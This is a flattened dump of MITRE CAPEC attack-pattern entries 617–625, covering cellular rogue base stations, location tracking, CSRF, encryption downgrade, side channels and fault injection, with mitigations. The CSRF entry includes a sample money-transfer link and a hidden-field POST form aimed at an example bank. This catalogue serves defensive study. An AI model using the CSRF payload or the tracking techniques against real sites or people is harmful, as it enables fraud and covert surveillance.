#indContentHistoryContentHistory35999 + Content_History_35999 + + + + + + + + + + + + + + + + #indSubmissionSubmission36000 + Submission_36000 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36005 + Modification_36005 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Related_Weaknesses, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification36011 + Modification_36011 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification36017 + Modification_36017 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification36023 + Modification_36023 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName36029 + Previous_Entry_Name_36029 + + + + + + + + + 2017-05-01 + + + + + Patiently Waiting at Incorrect Location + + + + + + + + + + + + #CAPEC-617 + Cellular Rogue Base Station + + + + + + + + + 617 + + + + + Cellular Rogue Base Station + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack scenario, the attacker imitates a cellular base station with their own "rogue" base station equipment. Since cellular devices connect to whatever station has the strongest signal, the attacker can easily convince a targeted cellular device (e.g. the retransmission device) to talk to the rogue base station.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36037 + Related_Attack_Pattern_36037 + + + + + + + + + + + + + + 616 + + + + + 403 + + + + + 437 + + + + + 513 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None</xhtml:div> + + + + + + + + + + + + #indSkillSkill36047 + Skill_36047 + + + + + + + + + + + + + + This technique has been demonstrated by amateur hackers and commercial tools and open source projects are available to automate the attack. + + + + + + + + + + + + #indConsequenceConsequence36050 + Consequence_36050 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Intercept and control cellular data communications to/from mobile device.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Passively monitor cellular network connection for real-time threat detection and logging for manual review.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory36059 + Content_History_36059 + + + + + + + + + + + + + + + + #indSubmissionSubmission36060 + Submission_36060 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36065 + Modification_36065 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #indModificationModification36071 + Modification_36071 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Description, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification36077 + Modification_36077 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification36083 + Modification_36083 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-618 + Cellular Broadcast Message Request + + + + + + + + + 618 + + + + + Cellular Broadcast Message Request + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack scenario, the attacker uses knowledge of the target’s mobile phone number (i.e., the number associated with the SIM used in the retransmission device) to cause the cellular network to send broadcast messages to alert the mobile device. Since the network knows which cell tower the target’s mobile device is attached to, the broadcast messages are only sent in the Location Area Code (LAC) where the target is currently located. By triggering the cellular broadcast message and then listening for the presence or absence of that message, an attacker could verify that the target is in (or not in) a given location.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36096 + Related_Attack_Pattern_36096 + + + + + + + + + + + + + + 292 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have knowledge of the target’s mobile phone number.</xhtml:div> + + + + + + + + + + + + #indSkillSkill36102 + Skill_36102 + + + + + + + + + + + + + + Open source and commercial tools are available for this attack. + + + + + + + + + + + + #indConsequenceConsequence36105 + Consequence_36105 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker could verify that the target is in (or not in) a given location.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Frequent changing of mobile number.</xhtml:div> + + + + + 201 + + + + + + + + + + + + #indReferenceReference36118 + Reference_36118 + + + + + + + + + REF-487 + + + + + + + + + + + + #indContentHistoryContentHistory36120 + Content_History_36120 + + + + + + + + + + + + + + + + #indSubmissionSubmission36121 + Submission_36121 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36126 + Modification_36126 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Description Summary, References + + + + + + + + + + + + #CAPEC-619 + Signal Strength Tracking + + + + + + + + + 619 + + + + + Signal Strength Tracking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack scenario, the attacker passively monitors the signal strength of the target’s cellular RF signal or WiFi RF signal and uses the strength of the signal (with directional antennas and/or from multiple listening points at once) to identify the source location of the signal. Obtaining the signal of the target can be accomplished through multiple techniques such as through Cellular Broadcast Message Request or through the use of IMSI Tracking or WiFi MAC Address Tracking.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36138 + Related_Attack_Pattern_36138 + + + + + + + + + + + + + + 292 + + + + + + + + + + + + #indSkillSkill36141 + Skill_36141 + + + + + + + + + + + + + + Commercial tools are available. + + + + + 201 + + + + + + + + + + + + #indContentHistoryContentHistory36146 + Content_History_36146 + + + + + + + + + + + + + + + + #indSubmissionSubmission36147 + Submission_36147 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36152 + Modification_36152 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #CAPEC-62 + Cross Site Request Forgery + + + + + + + + + 62 + + + + + Cross Site Request Forgery + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.</xhtml:div> + + + + + + + + + + + + #indAlternateTermSessionRiding + Session Riding + + + + + + + + + Session Riding + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36170 + Related_Attack_Pattern_36170 + + + + + + + + + + + + + + 21 + + + + + + + + + + + + #indAttackStepAttackStep36173 + Attack_Step_36173 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Explore target website] The attacker first explores the target website to determine pieces of functionality that are of interest to them (e.g. money transfers). The attacker will need a legitimate user account on the target website. It would help to have two accounts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use web application debugging tool such as WebScarab, Tamper Data or TamperIE to analyze the information exchanged between the client and the server</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use network sniffing tool such as Wireshark to analyze the information exchanged between the client and the server</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">View HTML source of web pages that contain links or buttons that perform actions of interest.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep36181 + Attack_Step_36181 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Create a link that when clicked on, will execute the interesting functionality.] The attacker needs to create a link that will execute some interesting functionality such as transfer money, change a password, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a GET request containing all required parameters (e.g. https://www.somebank.com/members/transfer.asp?to=012345678901&amp;amt=10000)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a form that will submit a POST request (e.g. &lt;form method="POST" action="https://www.somebank.com/members/transfer.asp"&gt;&lt;input type="hidden" Name="to" value="012345678901"/&gt;&lt;input type="hidden" Name="amt" value="10000"/&gt;&lt;input type="submit" src="clickhere.jpg"/&gt;&lt;/form&gt;</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep36188 + Attack_Step_36188 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Convince user to click on link] Finally, the attacker needs to convince a user that is logged into the target website to click on a link to execute the CSRF attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute a phishing attack and send the user an e-mail convincing them to click on a link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute a stored XSS attack on a website to permanently embed the malicious link into the website.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute a stored XSS attack on a website where an XMLHTTPRequest object will automatically execute the attack as soon as a user visits the page. This removes the step of convincing a user to click on a link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Include the malicious link on the attackers' own website where the user may have to click on the link, or where an XMLHTTPRequest object may automatically execute the attack when a user visits the site.</xhtml:div> + + + + + + + + + + + + #indSkillSkill36199 + Skill_36199 + + + + + + + + + + + + + + The attacker needs to figure out the exact invocation of the targeted malicious action and then craft a link that performs the said action. Having the user click on such a link is often accomplished by sending an email or posting such a link to a bulletin board or the likes. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">All the attacker needs is the exact representation of requests to be made to the application and to be able to get the malicious link across to a victim.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence36205 + Consequence_36205 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence36211 + Consequence_36211 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence36215 + Consequence_36215 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use cryptographic tokens to associate a request with a specific action. The token can be regenerated at every request so that if a request with an invalid token is encountered, it can be reliably discarded. The token is considered invalid if it arrived with a request other than the action it was supposed to be associated with.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Although less reliable, the use of the optional HTTP Referrer header can also be used to determine whether an incoming request was actually one that the user is authorized for, in the current context.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Additionally, the user can also be prompted to confirm an action every time an action concerning potentially sensitive data is invoked. This way, even if the attacker manages to get the user to click on a malicious link and request the desired action, the user has a chance to recover by denying confirmation. This solution is also implicitly tied to using a second factor of authentication before performing such actions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In general, every request must be checked for the appropriate authentication token as well as authorization in the current session context.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;While a user is logged into their bank account, an attacker can send an email with some potentially interesting content and require the user to click on a link in the email.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The link points to or contains an attacker setup script, probably even within an iFrame, that mimics an actual user form submission to perform a malicious activity, such as transferring funds from the victim's account.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The attacker can have the script embedded in, or targeted by, the link perform any arbitrary action as the authenticated user. When this script is executed, the targeted application authenticates and accepts the actions based on the victims existing session cookie.&lt;/xhtml:p&gt;See also: Cross-site request forgery (CSRF) vulnerability in util.pl in @Mail WebMail 4.51 allows remote attackers to modify arbitrary settings and perform unauthorized actions as an arbitrary user, as demonstrated using a settings action in the SRC attribute of an IMG element in an HTML e-mail.</xhtml:div> + + + + + 352 + + + + + 306 + + + + + 664 + + + + + 732 + + + + + 1275 + + + + + + + + + + + + #indTaxonomyMappingCrossSiteRequestForgery + Cross-Site Request Forgery + + + + + + + + + + + + + + 09 + + + + + Cross-Site Request Forgery + + + + + + + + + + + + #indTaxonomyMappingCrossSiteRequestForgery + Cross Site Request Forgery (CSRF) + + + + + + + + + + + + + + Cross Site Request Forgery (CSRF) + + + + + + + + + + + + #indReferenceReference36249 + Reference_36249 + + + + + + + + + REF-62 + + + + + + + + + + + + #indReferenceReference36251 + Reference_36251 + + + + + + + + + REF-602 + + + + + Testing for Cross Site Request Forgery + + + + + + + + + + + + #indContentHistoryContentHistory36253 + Content_History_36253 + + + + + + + + + + + + + + + + #indSubmissionSubmission36254 + Submission_36254 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification36259 + Modification_36259 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification36265 + Modification_36265 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification36271 + Modification_36271 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Alternate_Terms, Attack_Phases + + + + + + + + + + + + #indModificationModification36277 + Modification_36277 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification36283 + Modification_36283 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification36289 + Modification_36289 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, References + + + + + + + + + + + + #indModificationModification36295 + Modification_36295 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow, Related_Weaknesses + + + + + + + + + + + + #indModificationModification36301 + Modification_36301 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification36307 + Modification_36307 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName36313 + Previous_Entry_Name_36313 + + + + + + + + + 2017-01-09 + + + + + Cross Site Request Forgery (aka Session Riding) + + + + + + + + + + + + #CAPEC-620 + Drop Encryption Level + + + + + + + + + 620 + + + + + Drop Encryption Level + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker forces the encryption level to be lowered, thus enabling a successful attack against the encrypted data.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36320 + Related_Attack_Pattern_36320 + + + + + + + + + + + + + + 212 + + + + + 515 + + + + + + + + + + + + #indConsequenceConsequence36325 + Consequence_36325 + + + + + + + + + + + + + + + + + + + 757 + + + + + + + + + + + + #indTaxonomyMappingWeakenEncryption + Weaken Encryption + + + + + + + + + + + + + + 1600 + + + + + Weaken Encryption + + + + + + + + + + + + #indContentHistoryContentHistory36339 + Content_History_36339 + + + + + + + + + + + + + + + + #indSubmissionSubmission36340 + Submission_36340 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36345 + Modification_36345 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification36351 + Modification_36351 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #indModificationModification36357 + Modification_36357 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification36363 + Modification_36363 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-621 + Analysis of Packet Timing and Sizes + + + + + + + + + 621 + + + + + Analysis of Packet Timing and Sizes + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker may intercept and log encrypted transmissions for the purpose of analyzing metadata such as packet timing and sizes. Although the actual data may be encrypted, this metadata may reveal valuable information to an attacker. Note that this attack is applicable to VOIP data as well as application data, especially for interactive apps that require precise timing and low-latency (e.g. thin-clients).</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36376 + Related_Attack_Pattern_36376 + + + + + + + + + + + + + + 189 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use of untrusted communication paths enables an attacker to intercept and log communications, including metadata such as packet timing and sizes.</xhtml:div> + + + + + + + + + + + + #indSkillSkill36382 + Skill_36382 + + + + + + + + + + + + + + These attacks generally require sophisticated machine learning techniques and require traffic capture as a prerequisite. + + + + + + + + + + + + #indConsequenceConsequence36385 + Consequence_36385 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Derive sensitive information about encrypted data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Distort packet sizes and timing at VPN layer by adding padding to normalize packet sizes and timing delays to reduce information leakage via timing.</xhtml:div> + + + + + 201 + + + + + + + + + + + + #indContentHistoryContentHistory36397 + Content_History_36397 + + + + + + + + + + + + + + + + #indSubmissionSubmission36398 + Submission_36398 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36403 + Modification_36403 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #CAPEC-622 + Electromagnetic Side-Channel Attack + + + + + + + + + 622 + + + + + Electromagnetic Side-Channel Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack scenario, the attacker passively monitors electromagnetic emanations that are produced by the targeted electronic device as an unintentional side-effect of its processing. From these emanations, the attacker derives information about the data that is being processed (e.g. the attacker can recover cryptographic keys by monitoring emanations associated with cryptographic processing). This style of attack requires proximal access to the device, however attacks have been demonstrated at public conferences that work at distances of up to 10-15 feet. There have not been any significant studies to determine the maximum practical distance for such attacks. Since the attack is passive, it is nearly impossible to detect and the targeted device will continue to operate as normal after a successful attack.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36416 + Related_Attack_Pattern_36416 + + + + + + + + + + + + + + 189 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Proximal access to the device.</xhtml:div> + + + + + + + + + + + + #indSkillSkill36422 + Skill_36422 + + + + + + + + + + + + + + Sophisticated attack, but detailed techniques published in the open literature. + + + + + + + + + + + + #indConsequenceConsequence36425 + Consequence_36425 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Derive sensitive information about encrypted data. For mobile devices, depending on which keys are compromised, the attacker may be able to decrypt VOIP communications, impersonate the targeted caller, or access the enterprise VPN server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize side-channel resistant implementations of all crypto algorithms.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong physical security of all devices that contain secret key information. (even when devices are not in use)</xhtml:div> + + + + + 201 + + + + + + + + + + + + #indContentHistoryContentHistory36438 + Content_History_36438 + + + + + + + + + + + + + + + + #indSubmissionSubmission36439 + Submission_36439 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36444 + Modification_36444 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #CAPEC-623 + Compromising Emanations Attack + + + + + + + + + 623 + + + + + Compromising Emanations Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Compromising Emanations (CE) are defined as unintentional signals which an attacker may intercept and analyze to disclose the information processed by the targeted equipment. Commercial mobile devices and retransmission devices have displays, buttons, microchips, and radios that emit mechanical emissions in the form of sound or vibrations. Capturing these emissions can help an adversary understand what the device is doing.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36457 + Related_Attack_Pattern_36457 + + + + + + + + + + + + + + 189 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Proximal access to the device.</xhtml:div> + + + + + + + + + + + + #indSkillSkill36463 + Skill_36463 + + + + + + + + + + + + + + Sophisticated attack. + + + + + + + + + + + + #indConsequenceConsequence36466 + Consequence_36466 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Capture vibrations/emissions from the handset or retransmission device display screen to recreat display information from a distance.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None are known.</xhtml:div> + + + + + 201 + + + + + + + + + + + + #indContentHistoryContentHistory36478 + Content_History_36478 + + + + + + + + + + + + + + + + #indSubmissionSubmission36479 + Submission_36479 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36484 + Modification_36484 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences + + + + + + + + + + + + #CAPEC-624 + Hardware Fault Injection + + + + + + + + + 624 + + + + + Hardware Fault Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary uses disruptive signals or events, or alters the physical environment a device operates in, to cause faulty behavior in electronic devices. This can include electromagnetic pulses, laser pulses, clock glitches, ambient temperature extremes, and more. When performed in a controlled manner on devices performing cryptographic operations, this faulty behavior can be exploited to derive secret key information.</xhtml:div> + + + + + + + + + + + + #indAlternateTermSideChannelAttack + Side-Channel Attack + + + + + + + + + Side-Channel Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Physical access to the system</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must be cognizant of where fault injection vulnerabilities exist in the system in order to leverage them for exploitation.</xhtml:div> + + + + + + + + + + + + #indSkillSkill36506 + Skill_36506 + + + + + + + + + + + + + + Adversaries require non-trivial technical skills to create and implement fault injection attacks. Although this style of attack has become easier (commercial equipment and training classes are available to perform these attacks), they usual require significant setup and experimentation time during which physical access to the device is required. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The relevant sensors and tools to detect and analyze fault/side-channel data from a system.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A tool capable of injecting fault/side-channel data into a system or application.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence36515 + Consequence_36515 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, has compromised the confidentiality of that application or information system data.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence36522 + Consequence_36522 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If an adversary is able to inject data via a fault or side channel vulnerability towards malicious ends, the integrity of the application or information system will be compromised.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement robust physical security countermeasures and monitoring.</xhtml:div> + + + + + 1247 + + + + + 1248 + + + + + 1256 + + + + + 1319 + + + + + 1332 + + + + + 1334 + + + + + 1338 + + + + + 1351 + + + + + + + + + + + + #indNoteNote36542 + Note_36542 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Considerable effort on the part of the adversary is often required in order to detect and analyze fault/side channel data.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory36544 + Content_History_36544 + + + + + + + + + + + + + + + + #indSubmissionSubmission36545 + Submission_36545 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification36550 + Modification_36550 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Alternate_Terms, Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Other_Notes, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification36556 + Modification_36556 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites + + + + + + + + + + + + #indModificationModification36562 + Modification_36562 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, Consequences, Related_Weaknesses + + + + + + + + + + + + #indModificationModification36568 + Modification_36568 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification36574 + Modification_36574 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName36580 + Previous_Entry_Name_36580 + + + + + + + + + 2020-07-30 + + + + + Fault Injection + + + + + + + + + + + + #CAPEC-625 + Mobile Device Fault Injection + + + + + + + + + 625 + + + + + Mobile Device Fault Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Fault injection attacks against mobile devices use disruptive signals or events (e.g. electromagnetic pulses, laser pulses, clock glitches, etc.) to cause faulty behavior. When performed in a controlled manner on devices performing cryptographic operations, this faulty behavior can be exploited to derive secret key information. Although this attack usually requires physical control of the mobile device, it is non-destructive, and the device can be used after the attack without any indication that secret keys were compromised.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern36587 + Related_Attack_Pattern_36587 + + + + + + + + + + + + + + 624 + + + + + + + + + + + + #indSkillSkill36590 + Skill_36590 + + + + + + + + + + + + + + Adversaries require non-trivial technical skills to create and implement fault injection attacks on mobile devices. Although this style of attack has become easier (commercial equipment and training classes are available to perform these attacks), they usual require significant setup and experimentation time during which physical access to the device is required. This prerequisite makes the attack challenging to perform (assuming that physical security countermeasures and monitoring are in place). + + + + + + + + + + + + #indConsequenceConsequence36593 + Consequence_36593 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Extract long-term secret keys (e.g. keys used for VPN or WiFi authentication and encryption) to enable decryption of intercepted VOIP traffic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong physical security of all devices that contain secret key information. (even when devices are not in use)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Frequent changes to secret keys and certificates.</xhtml:div> + + + + + 1247 + + + + + 1248 + + + + + 